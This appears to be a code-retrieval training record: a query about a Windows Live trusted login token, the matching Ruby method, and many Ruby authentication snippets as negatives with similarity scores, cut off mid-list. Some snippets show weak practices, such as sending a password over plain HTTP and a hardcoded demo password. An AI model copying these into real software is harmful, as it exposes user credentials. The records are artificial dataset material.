"def login\n if params[:error].present? # Authentication Failure\n err = \"Authentication Failure: #{params[:error]} - #{params[:error_description]}\"\n redirect_to home_path, alert: err\n else\n session[:wakeupsession] = \"ok\" # using session hash prompts rails session to load\n session[:client_id] = params[:client_id] || session[:client_id] #).gsub! /\\t/, ''\n session[:client_secret] = params[:client_secret] || session[:client_secret] #).gsub! /\\t/, ''\n code = params[:code]\n @client = connect_to_server(code)\n return if @client.nil?\n redirect_to eobs_url, notice: \"Signed in with Patient ID: #{session[:patient_id]} \"\n end\n end",
"def ibm_authenticate(password)\n uri = URI.parse(\"http://as400api.varland.com/v1/as400_auth\")\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = \"username=#{self.username}&password=#{password}\"\n response = http.request(request)\n return false unless response.code.to_s == '200'\n result = JSON.parse(response.body)\n return result\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end",
"def login\n end"
] |
[
"0.58001155",
"0.5788647",
"0.5627614",
"0.56195426",
"0.5533368",
"0.54813737",
"0.5475987",
"0.5460751",
"0.5452799",
"0.5442366",
"0.54334235",
"0.53904605",
"0.5383663",
"0.5369421",
"0.5366126",
"0.53615016",
"0.53609365",
"0.53318244",
"0.5331551",
"0.5326727",
"0.5305063",
"0.5297675",
"0.5287813",
"0.5273406",
"0.5235858",
"0.5225017",
"0.5224185",
"0.521992",
"0.52030826",
"0.5202493",
"0.519889",
"0.5196928",
"0.51938444",
"0.51938444",
"0.5190821",
"0.5190408",
"0.5172939",
"0.5168047",
"0.5162662",
"0.5158105",
"0.51528925",
"0.514233",
"0.5134287",
"0.51283324",
"0.51250416",
"0.5122654",
"0.5122654",
"0.5114986",
"0.5110712",
"0.51061183",
"0.51043653",
"0.51023036",
"0.5088654",
"0.50854415",
"0.508454",
"0.50807166",
"0.507893",
"0.50776833",
"0.5069208",
"0.5063077",
"0.50593084",
"0.50584877",
"0.5058338",
"0.505796",
"0.50454897",
"0.5026122",
"0.5021412",
"0.50065136",
"0.500538",
"0.5004957",
"0.50042444",
"0.5003373",
"0.5002382",
"0.50023603",
"0.49949864",
"0.49880767",
"0.49880767",
"0.49861777",
"0.49810153",
"0.49788508",
"0.49775887",
"0.49747637",
"0.4971319",
"0.49706298",
"0.49661267",
"0.4965301",
"0.49641854",
"0.4960856",
"0.49558824",
"0.4955686",
"0.49539414",
"0.4951268",
"0.49486217",
"0.4946816",
"0.49461624",
"0.49461624",
"0.49461624",
"0.49461624",
"0.49461624",
"0.49461624"
] |
0.515247
|
41
|
Returns the trusted login token in the format that is needed by a control doing trusted login. User to be trusted on the local site is passed in as string 'user'.
|
def getTrustedToken(user)
if user.nil? or user.empty?
debug('Error: getTrustedToken: Null user specified.')
return
end
token = "appid=#{appid}&uid=#{CGI.escape(user)}&ts=#{timestamp}"
token += "&sig=#{e64(signToken(token))}"
CGI.escape token
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def login_token(expire, target_user=nil)\n target_user ||= @options[:srv_user]\n token_txt = \"#{@options[:srv_user]}:#{target_user}:#{expire}\"\n\n token = encrypt(token_txt)\n token64 = Base64::encode64(token).strip.delete(\"\\n\")\n\n return \"#{@options[:srv_user]}:#{target_user}:#{token64}\"\n end",
"def login_token(user, expire=0)\n if expire != 0\n expires = Time.now.to_i + expire.to_i\n else\n expires = @cert_chain[0].not_after.to_i\n end\n\n text_to_sign = \"#{user}:#{expires}\"\n signed_text = encrypt(text_to_sign)\n\n certs_pem = @cert_chain.collect{|cert| cert.to_pem}.join(\":\")\n token = \"#{signed_text}:#{certs_pem}\"\n\n return Base64::encode64(token).strip.delete(\"\\n\")\n end",
"def getTrustedLoginUrl\n secureurl + \"wlogin.srf\"\n end",
"def getTrustedParams(user, retcode=nil)\n token = getTrustedToken(user)\n return unless token\n token = %{<wst:RequestSecurityTokenResponse xmlns:wst=\"http://schemas.xmlsoap.org/ws/2005/02/trust\"><wst:RequestedSecurityToken><wsse:BinarySecurityToken xmlns:wsse=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\">#{token}</wsse:BinarySecurityToken></wst:RequestedSecurityToken><wsp:AppliesTo xmlns:wsp=\"http://schemas.xmlsoap.org/ws/2004/09/policy\"><wsa:EndpointReference xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\"><wsa:Address>uri:WindowsLiveID</wsa:Address></wsa:EndpointReference></wsp:AppliesTo></wst:RequestSecurityTokenResponse>}\n params = {}\n params['wa'] = securityalgorithm\n params['wresult'] = token\n params['wctx'] = retcode if retcode\n params\n end",
"def user_login\n @raw['user']['login']\n end",
"def send_token_for_valid_login_of(user)\n\t\trender json: {token: user.auth_token }\n\tend",
"def generate_token(_user)\n JsonWebToken.encode(login_payload, 3.days.from_now)\n end",
"def login_direct\r\n if token = params[:t]\r\n old_user = current_user\r\n user = User.find_by_secret_token(token)\r\n logger.info(\"finding token: -#{token}- user: -#{user ? user.name : 'nil'}-\")\r\n if ! user.nil?\r\n if current_user && current_user.has_role?(:user)\r\n add_audit_trail(:details => \"Impersonating user\", :user_acted_on_id => user.id)\r\n end\r\n logger.info(\"*** direct login of user with id: #{user.id}\")\r\n self.current_user = user # Sign them in\r\n else\r\n handle_bad_token\r\n return false\r\n end\r\n end\r\n end",
"def encrypt_sso_token_for_user(user)\n sso_token = Encryptor.encrypt(user.id.to_s, key: token)\n Base64.urlsafe_encode64(sso_token)\n end",
"def login_token\n user ? email : seed\n end",
"def call\n Utils::TokenManager.encode(user_id: user.id) if user\n end",
"def token_user_id\n decoded_token.first['id']\n end",
"def get_auth_tkt_user_data\n cookie_decoded = Base64.decode64(cookies[:auth_tkt])\n return cookie_decoded.split('!')[2]\n end",
"def current_user\n authenticate_token\n end",
"def login_as( user )\n cookies[:auth_token] = users(user).auth_token\n end",
"def start_session_with_smart_token\n require_relative '../../../lib/util/smart_token'\n smart_token = SmartToken.from_str(params['smart_token'])\n user = smart_token ? User.first(:guid => smart_token.guid) : nil\n\n if user and user.is_smart_token_valid? smart_token\n return user\n else\n return nil\n end\n end",
"def user\n return Etc.getlogin\n end",
"def current_user\n token_locations = [cookies[:auth_token], ENV['DANGEROUS_AUTH_HACK'], params[:auth_token]]\n token = token_locations.find{|x| !x.blank? }\n if token\n Identity.includes(:person).find_by(token: token).try(:person)\n else\n nil\n end\n end",
"def get_login_token\n object_from_response(Code42::Token, :post, \"loginToken\")\n end",
"def user_from_remember_token\n User.authenticate_with_salt(*remember_token)\n end",
"def auth_token_for(key)\n @username_auth_tokens[secure_auth_token_key(key)]\n end",
"def user_id\n decoded_token.first['user_id']\n end",
"def parse_trusted_key\n mdata = /^(?:ntp trusted-key (.+))/.match(config)\n { trusted_key: mdata.nil? ? DEFAULT_TRST_KEY : mdata[1] }\n end",
"def login(user)\n post '/api/v1/login', params: {email: user.email, password: user.password}\n return json['auth_token']\n end",
"def token\n identity = Faker::Internet.user_name.gsub(/[^0-9a-z_]/i, '')\n\n capability = Twilio::Util::Capability.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n # The Twilio \n capability.allow_client_outgoing ENV['TWILIO_TWIML_APP_SID']\n capability.allow_client_incoming identity\n token = capability.generate\n\n render json: {identity: identity, token: token}\n end",
"def user_from_remember_token\n\t\t\tUser.authenticate_with_salt(*remember_token)\n\t\tend",
"def session_current_user\n return nil unless suid = request.session[:authpwn_suid]\n Tokens::Base.with_code(suid).first!.user\n end",
"def login(user, password, sid = nil)\n sid ||= IDMIN + rand(IDMAX-IDMIN)\n @nurl ||= \"https://localhost:8834/\"\n post = { \"username\" => user, \"password\" => password, 'seq' => sid }\n\n response_json = nessus_request('session', post)\n\n if response_json['token']\n @token = response_json['token']\n @name = user\n @seqid = sid\n # Compatibility with XMLRPC ivar\n user_permissions = nessus_request('session', auth_header, :get)['permissions']\n @admin = ([64,128].any? {|perm| perm == user_permissions}).to_s.upcase\n return @token\n else\n raise \"Cannot authenticate to #{@nurl} as #{user} with #{password} due to #{response_json['error']}\"\n end\n\n end",
"def user_from_remember_token\n User.authenticate_with_salt(*remember_token)\n end",
"def user_from_remember_token\n User.authenticate_with_salt(*remember_token)\n end",
"def authenticate_token \n\t\tauthenticate_with_http_token do | token, options| \n\t\t\tUser.find_by(auth_token: token)\n\t\tend\n\tend",
"def token\n authenticate_username_password || render_unauthorized\n end",
"def token_s\n @manager_s[:password]\n end",
"def token\n authenticated\n end",
"def plaintext_token\n if secret_strategy.allows_restoring_secrets?\n secret_strategy.restore_secret(self, :token)\n else\n @raw_token\n end\n end",
"def payload(user)\n\t\treturn nil unless user and user.id\n\t\t{\n\t\t\tauth_token: JsonWebToken.encode({user_id: user.id, login: user.login}),\n\t\t\tuser: {login: user.login, fio: user.fio}\n\t\t}\n\tend",
"def lab_user_id\n plaintext_id = \"#{@view_options[:channel]}:#{user_or_session_id}\"\n Digest::SHA1.base64digest(storage_encrypt(plaintext_id)).tr('=', '')\n end",
"def token\n authenticate_username_password || render_unauthorized\n end",
"def current_user\n puts decoded_token\n \n if decoded_token\n # user_id = User.find_by(id: user_id)\n User.find_by(id: decoded_token[0][\"user_id\"])\n\n end\n end",
"def plaintext_token\n if secret_strategy.allows_restoring_secrets?\n secret_strategy.restore_secret(self, :token)\n else\n @raw_token\n end\n end",
"def authenticate_user_from_token!\n logger.info \"authenticating user\"\n authenticate_with_http_token do |token, options|\n username = options[:username].presence\n user = username && User.find_by_username(username)\n logger.info \"username: \" + username\n logger.info \"user: \" + user.inspect\n logger.info \"token: \" + token\n logger.info \"user_token: \" + user.auth_token\n if user && Devise.secure_compare(user.auth_token, token)\n sign_in user, store: false\n logger.info \"current_user: \" + current_user.inspect\n else\n logger.error \"login failed\"\n end\n end\n end",
"def generate_token(user)\n payload = {user_id: user.id}\n JWT.encode(payload, ENV[\"SEC_KEY\"] , 'HS256')\n end",
"def token\n uri = URI.parse('https://anypoint.mulesoft.com/accounts/login')\n\n client = Net::HTTP.new(uri.host, uri.port)\n client.use_ssl = true\n\n request = Net::HTTP::Post.new(uri.request_uri)\n request.body = URI.encode_www_form({\n \"username\" => @username,\n \"password\" => @password\n })\n\n response = client.request(request)\n access_token = JSON.parse(response.body)['access_token']\n @logger.info('Access token: ' + access_token)\n return access_token\n end",
"def get_current_user_auth_token(user_id)\n user=User.find(user_id)\n if user.ebay_auth_token\n user.ebay_auth_token\n end\n end",
"def get_token\n LastFM.get( \"auth.getToken\", {}, :secure )\n end",
"def auth_token\n TokenProvider.issue_token(\n first_name: object.first_name,\n last_name: object.last_name,\n username: object.username,\n user_id: object.id,\n role: object.role\n )\n end",
"def current_user\n return unless session[:token]\n\n crypt = ActiveSupport::MessageEncryptor.new(Rails.application.credentials.secret_key_base.byteslice(0..31))\n token = crypt.decrypt_and_verify session[:token]\n user_id = token.gsub('user-id:', '').to_i\n User.find user_id\n rescue ActiveSupport::MessageVerifier::InvalidSignature\n nil\n end",
"def authenticate_user_from_token2!\n puts request.format\n return true if request.format != \"application/json\"\n log_headers\n\n authenticate_or_request_with_http_token do |token, options|\n puts \"#\"*40\n # User.find_by(auth_token: token)\n user = token && User.find_by_authentication_token(token.to_s)\n # puts user.to_yaml\n if user\n sign_in user, store: false\n end\n user\n end\n\n # Notice how we use Devise.secure_compare to compare the token\n # in the database with the token given in the params, mitigating\n # timing attacks.\n end",
"def authenticate_user\n jwt=cookies.signed[:jwt]\n decode_jwt(jwt) \n end",
"def token!\n raise \"#{username} is not signed in, (token is set to nil).\" unless token\n\n token\n end",
"def get_user_login\n #self.network_login.blank? ? self.login : self.network_login.split('-',2)[1]\n self.get_network_login.blank? ? \"\" : self.get_network_login.gsub(self.primary_network.coded_name+'-', '') rescue ''\n end",
"def user_token\n google_account.id.to_s\n end",
"def wsse_username_token\n if digest?\n security_hash :wsse, \"UsernameToken\",\n \"wsse:Username\" => username,\n \"wsse:Nonce\" => nonce,\n \"wsu:Created\" => timestamp,\n \"wsse:Password\" => digest_password,\n :attributes! => { \"wsse:Password\" => { \"Type\" => PasswordDigestURI } }\n else\n security_hash :wsse, \"UsernameToken\",\n \"wsse:Username\" => username,\n \"wsse:Password\" => password,\n :attributes! => { \"wsse:Password\" => { \"Type\" => PasswordTextURI } }\n end\n end",
"def login_from_cookie\n User.find_by_token!(cookies[:token]) if cookies[:token]\n end",
"def login_known(the_user)\n # Get an instance of the user\n user = users(the_user)\n # provide the credentials and log in\n # Note the encrypted_password in the yml was created using an\n # instance of User in console with a password as below\n post user_session_path,\n params: {\n user: {\n email: user.email,\n password: \"secret08\",\n remember_me: 0\n },\n commit: \"Log in\"\n }\n end",
"def call\n # after user login, will pass the user-id to the JWT to create token\n return nil unless user\n\n return JsonWebToken.create_token(user_id: user.id), user\n end",
"def w000thenticate\n check_token\n end",
"def login()\n uri = URI('http://54.252.241.122:8000/users/authenticate')\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json')\n req.body = {email: 'demo1@g.com', password: '*********'}.to_json\n res = http.request(req)\n tkn=JSON.parse(res.body)\n return tkn['result']['token']\nend",
"def logged_in_user\n if decoded_token\n user_id = decoded_token[0]['user_id']\n @user = User.find_by(id: user_id)\n end\n end",
"def logged_in_user\n if decoded_token\n user_id = decoded_token[0]['user_id']\n @user = User.find_by(id: user_id)\n end\n end",
"def call\n JsonWebToken.encode(user_id: user.id) if user\n end",
"def call\n JsonWebToken.encode(user_id: user.id) if user\n end",
"def authenticate()\n\tuser_env = @env[\"Authorization\"] || @env[\"HTTP_AUTHORIZATION\"]\n if user_env\n user = Base64.decode64(user_env[6,user_env.length-6])[/\\w+/]\n\t\treturn user\n else\n \treturn nil\n\tend\nend",
"def normalized_user\n URI.encode(CGI.unescape(user), ENCODE_USER).force_encoding(Encoding::UTF_8) if user\n end",
"def visit_auth_token_url(user)\n visit '/?authentication_token=' + user.authentication_token\n end",
"def get_token_from_auth_data(auth_data)\n auth_data.split(\" \")[1]\nend",
"def token(request)\n end",
"def wsu_id\n \"UsernameToken-#{count}\"\n end",
"def wtk\n MnoEnterprise.jwt(user_id: current_user.uid)\n end",
"def make_login user, password\n server = Configuration.SERVER\n addr = Configuration.CLIOWL_ADDRESS\n \n HttpHelper.post \"http://#{server}#{addr}/login\", { 'user' => user, 'password' => password }\n end",
"def login_by_token\n\n end",
"def current_user\n current_login_credential\n end",
"def authenticate_user\n return if request.headers['Authorization'].blank?\n\n jwt_payload = JwtHelper.decode(token: request.headers['Authorization'].split(' ').second)\n\n raise JWT::VerificationError if JwtBlacklist.any? { |obj| obj.jti == jwt_payload['jti'] }\n\n @current_user_id = jwt_payload['id']\n end",
"def username\n @username || @token['data']\n end",
"def administrator_login user, password\r\n cf_cookies = administrator_9x_login user, password\r\n unless got_auth? cf_cookies\r\n cf_cookies = administrator_10x_login user, password\r\n end\r\n cf_cookies\r\n end",
"def current_identity\n token_locations = [cookies[:auth_token], ENV['DANGEROUS_AUTH_HACK'], params[:auth_token]]\n token = token_locations.find{|x| !x.blank? }\n if token\n Identity.find_by(token: token)\n else\n nil\n end\n end",
"def encode_token(payload) #encodes your username\n JWT.encode(payload, ENV['SECRET'])\n end",
"def login\n @user = User.find_by(name: params[:name])\n\n if @user && @user.authenticate(params[:password])\n @now=DateTime.now\n token = encode_token({user_id: @user.id, name:@user.name, iat: @now.to_time.to_i,exp:(@now+15.minutes).to_time.to_i })\n render json: {token: token}\n else\n render json: {error: \"Invalid username or password\"}\n end\n end",
"def current_user_id\n if request.headers && request.headers['Authorization']\n token = request.headers['Authorization'].split(' ')[1] #[Bearer <token>]\n begin\n decoded_token = JWT.decode(token, 'this should be in .env', true, algorithm: 'HS256')\n if decoded_token\n user_id = decoded_token[0]['user_id'] #[{ \"user_id\"=>\"2\" }, { \"alg\"=>\"HS256\" }]\n end\n rescue JWT::DecodeError\n nil\n end\n end\n end",
"def login \n user = User.find_by(username: params[:formData][:username])\n if user && user.authenticate(params[:formData][:password])\n wristband = encode_token({user_id: user.id})\n render json: {user: UserSerializer.new(user), token: wristband}\n else\n render json: {error: \"incorrect username or password\"}\n end\n end",
"def login_as(user_id)\n self.token = Token.create!(\n user_id: user_id,\n client: Client.first,\n expires_at: 5.months.from_now\n ).to_jwt\n end",
"def w000thenticate!\n check_token\n authenticate_user!\n end",
"def token_with_salt(salt)\n Digest::SHA256.hexdigest(CommentToolApp::Application.config.secret_token + salt)\n end",
"def authenticate\n authenticate_or_request_with_http_token do |token _options|\n @current_user = User.find_by token: token\n end\n end",
"def get_userrights_token(user)\n form_data = {'action' => 'query', 'list' => 'users', 'ustoken' => 'userrights', 'ususers' => user}\n res, dummy = make_api_request(form_data)\n token = res.elements[\"query/users/user\"].attributes[\"userrightstoken\"]\n\n @log.debug(\"RESPONSE: #{res.to_s}\")\n if token.nil?\n if res.elements[\"query/users/user\"].attributes[\"missing\"]\n raise APIError.new('invaliduser', \"User '#{user}' was not found (get_userrights_token)\")\n else\n raise Unauthorized.new \"User '#{@username}' is not permitted to perform this operation: get_userrights_token\"\n end\n end\n\n token\n end",
"def get_token\n token_data = vault_read('littlered.stanford.edu', 'netdb-token')\n credentials = JSON.parse(token_data)\n encoded = Base64.urlsafe_encode64(\"#{credentials['client_id']}:#{credentials['client_secret']}\")\n headers = { Authorization: \"Basic #{encoded}\" }\n query = { grant_type: credentials['grant_type'] }\n response = HTTParty.post(credentials['token_endpoint'],\n :headers => headers,\n :query => query\n )\n raise \"Bad response to getting token: #{response.body}\" if response.code != 200\n\n response_json = JSON.parse(response.body)\n response_json['access_token']\nend",
"def authentication_token\n object.authentication_token if !current_user || object.id == current_user.id\n end",
"def get_auth_tkt_token_list\n cookie_decoded = Base64.decode64(cookies[:auth_tkt])\n return cookie_decoded.split('!')[1]\n end",
"def login_from_jwt_header\n @current_user = if jwt_decoded_payload['sub']\n user_class.sorcery_adapter.find_by_id(jwt_decoded_payload['sub'])\n end\n end",
"def login_user(user)\n session[\"app_user\"] = user\n end",
"def login_user(user = gen_user)\n session[:user_id] = user.id\n return user\n end",
"def auth_token(context)\n controller = context.registers[:controller]\n value = controller.send(:form_authenticity_token)\n\n %(<input type=\"hidden\" name=\"authenticity_token\" value=\"#{value}\"> <input autocomplete=\"off\" type=\"text\" name=\"shoperb_first_last_name_1\" value=\"\" style=\"color: black; display: none;\" />)\n end",
"def authenticate_user\n login_token = cookies[:auth_token]\n auth_service = ::Rbt::Auth::UserAuthService.new\n @logged_in_user = auth_service.validate_login_token(login_token)\n end",
"def user_id\n payload = authenticate!(via: :jwt)\n return payload[\"user\"]\n end",
"def to_s\n login\n end",
"def login_user_name\n user_name.tr('.', '')\n end",
"def make_token(user_id)\n payload = { user_id: user_id }\n JWT.encode(payload, hmac_secret, 'HS256')\n end",
"def create_user_token(user_id, application_id, application_name)\n res = nil\n uri = URI(@url + \"auth/#{application_name}/login\")\n req = Net::HTTP::Post.new(uri)\n req['X-Vault-Token'] = @token\n application_data = { 'app_id' => application_id, 'user_id' => user_id }\n res = Net::HTTP.start(uri.hostname, uri.port) do |http|\n req.body = application_data.to_json\n http.request(req)\n end\n [JSON.parse(res.body), res.code.to_i]\n end",
"def logged_user\n if decoded_token\n user_id = decoded_token[0].to_i\n @user = User.find user_id\n end\n end",
"def authenticate_user_from_token!\n auth_service = AuthenticationService.new\n user = auth_service.authenticated?(request.headers[\"name\"], request.headers[\"token\"])\n sign_in user, store: false if user\n end"
] |
[
"0.67274153",
"0.6524272",
"0.63731164",
"0.628952",
"0.60528266",
"0.60426486",
"0.5943037",
"0.5787221",
"0.5784507",
"0.57456094",
"0.57272243",
"0.57187355",
"0.57174355",
"0.5717183",
"0.57077575",
"0.5648105",
"0.5551832",
"0.5548856",
"0.5535382",
"0.55308986",
"0.55233634",
"0.55028325",
"0.54995686",
"0.54978544",
"0.5467176",
"0.5463241",
"0.54546356",
"0.54495156",
"0.544903",
"0.544903",
"0.54438436",
"0.54405934",
"0.5435369",
"0.5432035",
"0.5413351",
"0.5402852",
"0.5393946",
"0.5386568",
"0.53847593",
"0.53817123",
"0.5373407",
"0.5370752",
"0.5370158",
"0.5367046",
"0.53641254",
"0.5345225",
"0.533174",
"0.53292185",
"0.53177506",
"0.53032184",
"0.5297376",
"0.5295341",
"0.5291502",
"0.5291059",
"0.52905154",
"0.5288474",
"0.52691245",
"0.52679753",
"0.526331",
"0.526331",
"0.5262649",
"0.5262649",
"0.5255335",
"0.52481294",
"0.5247911",
"0.5242537",
"0.52297395",
"0.5228443",
"0.5227662",
"0.5227621",
"0.5227569",
"0.5225574",
"0.5217209",
"0.5214629",
"0.521248",
"0.52047396",
"0.51953965",
"0.5185413",
"0.51813",
"0.51694244",
"0.5165168",
"0.5157172",
"0.51467365",
"0.5138785",
"0.5137879",
"0.5136759",
"0.51361626",
"0.5134063",
"0.5125252",
"0.5119689",
"0.51187277",
"0.5118205",
"0.51109785",
"0.5109502",
"0.5108408",
"0.51077497",
"0.5102734",
"0.50974816",
"0.5089945",
"0.5078574"
] |
0.787101
|
0
|
Returns the trusted signin URL to use for Windows Live Login.
|
def getTrustedLoginUrl
secureurl + "wlogin.srf"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n client.auth_code.authorize_url(:redirect_uri => REDIRECT_URI,\n :scope => SCOPES.join(' '))\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => \"https://login.microsoftonline.com\",\n :authorize_url => \"/common/oauth2/authorize\",\n :token_url => \"/common/oauth2/token\")\n\n login_url = client.auth_code.authorize_url(:redirect_uri => authorize_url)\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n login_url = client.auth_code.authorize_url(:redirect_uri => authorize_url, :scope => SCOPES.join(' '))\n end",
"def login_web_url\n return @login_web_url\n end",
"def facebook_authenticate_url\n facebook_client.web_server.authorize_url(:redirect_uri => Settings.authentication.facebook.callback_url,\n :scope => Settings.authentication.facebook.scope)\n end",
"def get_authentication_url\n @wll.getConsentUrl(\"Contacts.Invite\")\n end",
"def login_url\n generate_login_token unless login_token.present?\n ENV['RESERVE_URL'] + '/sign-in/' + login_token\n end",
"def get_auth_url(use_callback_flow=true)\n raise 'To be implemented in child classes'\n end",
"def signed_open_id_connect_initiation_url(login_hint:)\n URI(open_id_connect_initiation_url).tap do |uri|\n uri.query = {\n iss: Rails.application.secrets.issuer,\n login_hint: login_hint,\n target_link_uri: target_link_uri\n # lti_message_hint: 'xxx'\n }.to_query\n end\n end",
"def getTrustedLogoutUrl\n secureurl + \"logout.srf?appid=#{appid}\"\n end",
"def authorize_url\n client.web_server.authorize_url( :redirect_uri => callback_url )\n end",
"def connectURL\n\t\t\"http://beta.stoffiplayer.com/auth/#{provider}\"\n\tend",
"def redirect_url(callback_url)\n signin_url(callback_url)\n end",
"def getLoginUrl(context=nil)\n url = baseurl + \"wlogin.srf?appid=#{appid}\"\n url += \"&alg=#{securityalgorithm}\"\n url += \"&appctx=#{CGI.escape(context)}\" if context\n url\n end",
"def auth_url\n \"#{@url}/auth/realms/#{@realm}/protocol/openid-connect/auth\"\n end",
"def get_auth_url\n\t\tURI::HTTPS.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def default_sign_in_url\n sign_in_url\n end",
"def get_redirect_uri\n if Rails.env.development? \n #local_port = ':' + request.port.to_s()\n local_port = \":3000\"\n else\n local_port = \"\"\n end\n \"http://#{request.host}#{local_port}/jobs/accept\"\n end",
"def omniauth_login_url(provider)\n \"#{Rails.configuration.relative_url_root}/auth/#{provider}\"\n end",
"def default_sign_in_url\n user_sign_in_url\n end",
"def redirect_uri\n @redirect_uri\n end",
"def sso_integration_callback_url\n # Usually http://example.com/auth/:system_name/callback\n url = callback_url(query: {})\n\n case kind\n when 'auth0'\n # e.g. http://example.com/auth/invitations/auth0/auth0_123abc/callback\n invitation_signup = client.callback_url(\"#{base_url}/invitations\")\n\n [url, invitation_signup].join(', ')\n else\n url\n end\n end",
"def openid_redirect_uri; end",
"def openid_config_url\n \"https://login.windows.net/#{tenant}/.well-known/openid-configuration\"\n end",
"def get_auth_url(use_callback_flow=true)\n if use_callback_flow\n service_name = service_name_for_user(DATASOURCE_NAME, @user)\n @client.authorization.state = CALLBACK_STATE_DATA_PLACEHOLDER.sub('user', @user.username)\n .sub('service', service_name)\n else\n @client.authorization.redirect_uri = REDIRECT_URI\n end\n @client.authorization.authorization_uri.to_s\n end",
"def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => \"https://login.microsoftonline.com\",\n :authorize_url => \"/common/oauth2/v2.0/authorize\",\n :token_url => \"/common/oauth2/v2.0/token\")\n # :authorize_url => \"/oauth2/v2.0/authorize\",\n # :token_url => \"/oauth2/v2.0/token\")\n # :authorize_url => \"/auth/office365/callback\",\n # :token_url => \"/oauth2/v2.0/token\"\n # )\n# /auth/office365/callback\n\n login_url = client.auth_code.authorize_url(:redirect_uri => office365_callback_url, :scope => SCOPES.join(' '))\n end",
"def authentication_url(params={})\n @request_token.authorize_url params\n end",
"def auth_url\n MiniFB.oauth_url(@app_id, @redirect_to,\n :scope => 'user_about_me') # See MiniFB.scopes\n end",
"def get_auth_url\n\t\tURI::HTTP.build(\n\t\t\t:host => @options['auth_host'],\n\t\t\t:path => @options['auth_page'],\n\t\t\t:query => {\n\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t:scope => @options['scope'],\n\t\t\t\t:response_type => \"code\",\n\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t}.to_query\n\t\t).to_s\n\tend",
"def browser_url\r\n \"http://#{external_app_server_host}:#{external_app_server_port}\"\r\n end",
"def getAuthUrl\n\t\t\t\tURI::HTTP.build(\n\t\t\t\t\t:host => @options['auth_host'],\n\t\t\t\t\t:path => @options['auth_page'],\n\t\t\t\t\t:query => {\n\t\t\t\t\t\t:client_id => @options['client_id'],\n\t\t\t\t\t\t:scope => @options['scope'],\n\t\t\t\t\t\t:response_type => \"code\",\n\t\t\t\t\t\t:redirect_uri => @options['redirect_uri'],\n\t\t\t\t\t}.to_query\n\t\t\t\t).to_s\n\t\t\tend",
"def authorize_url\n @connection.authorize_url\n end",
"def access_token_url\n Settings.lighthouse_health_immunization.access_token_url\n end",
"def auth_url\n client.authorization.authorization_uri(state: '', approval_prompt: :force, access_type: :offline, user_id: client_email).to_s\n end",
"def get_authurl\n\t\tlogger.debug \"D, #{__method__.to_s}\"\n\t\tparams = {\n \"client_id\" => @client_id,\n \"response_type\" => \"code\",\n \"redirect_uri\" => @redirect_uri,\n \"prompt\" => \"consent\"\n }\n auth_uri = URI::Generic.new(\"https\", nil, @auth_url, nil, nil, \"authorize\", \n \t\t\t\t\t\t\t nil, nil, nil)\n auth_uri.query = URI.encode_www_form(params)\n logger.debug \"D, #{__method__.to_s}, #{auth_uri.to_s}\"\n return auth_uri.to_s\n\tend",
"def auth_url(connection = nil)\n state = \"?state=#{Service.encode_state(connection)}\"\n callback = URI.encode_www_form_component(config[:redirect_uri] + state)\n\n uri = URI.parse(base_auth_url)\n uri.query ||= \"\"\n uri.query << \"&#{self.class.callback_param_name}=#{callback}\"\n uri.to_s\n end",
"def auth_login_url(callback_url, session_id=false)\n url = \"#{self.service.configuration.auth_url}login?callback=#{callback_url}\"\n url = \"#{url}&session=#{session_id}\" if session_id != false\n url\n end",
"def iss_url\n session[:iss_url]\n end",
"def auth_url\n CloudFiles.const_get(\"AUTH_#{self.auth_location.upcase}\")\n end",
"def login_url(params={})\n auth_pds_login_url \"load-login\", params\n end",
"def authorize_endpoint_url\n uri = URI(openid_config['authorization_endpoint'])\n uri.query = URI.encode_www_form(client_id: client_id,\n redirect_uri: callback_url,\n response_mode: response_mode,\n response_type: response_type,\n nonce: new_nonce)\n uri.to_s\n end",
"def get_authorize_url\n return get_request_token.authorize_url\n end",
"def login_url(url)\n return \"https://www.dopplr.com/api/AuthSubRequest?scope=#{CGI.escape(\"http://www.dopplr.com/\")}&next=#{CGI.escape(url)}&session=1\"\n end",
"def service_signed_url\n EcwidPizzeria::Application.config.make_commerce.service_signed_url\n end",
"def authorize_url\n request_token.authorize_url\n end",
"def login_url(_params, _session)\n authorize_url\n end",
"def sso_url(params={})\n auth_pds_login_url \"sso\", params\n end",
"def base_url\n Thread.current[\"GopDataTrust/Api/@base_url\"] || connect\n raise \"Must Connect To GOP Data Trust\" if Thread.current[\"GopDataTrust/Api/@base_url\"].nil?\n Thread.current[\"GopDataTrust/Api/@base_url\"]\n end",
"def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end",
"def login_url(_params, _session)\n authorize_url(authorize_url: auth_url)\n end",
"def vend_url\n URI(\"https://#{config.vend_id}.vendhq.com/\")\n end",
"def access_token_url\n Settings.mobile_lighthouse_letters.access_token_url\n end",
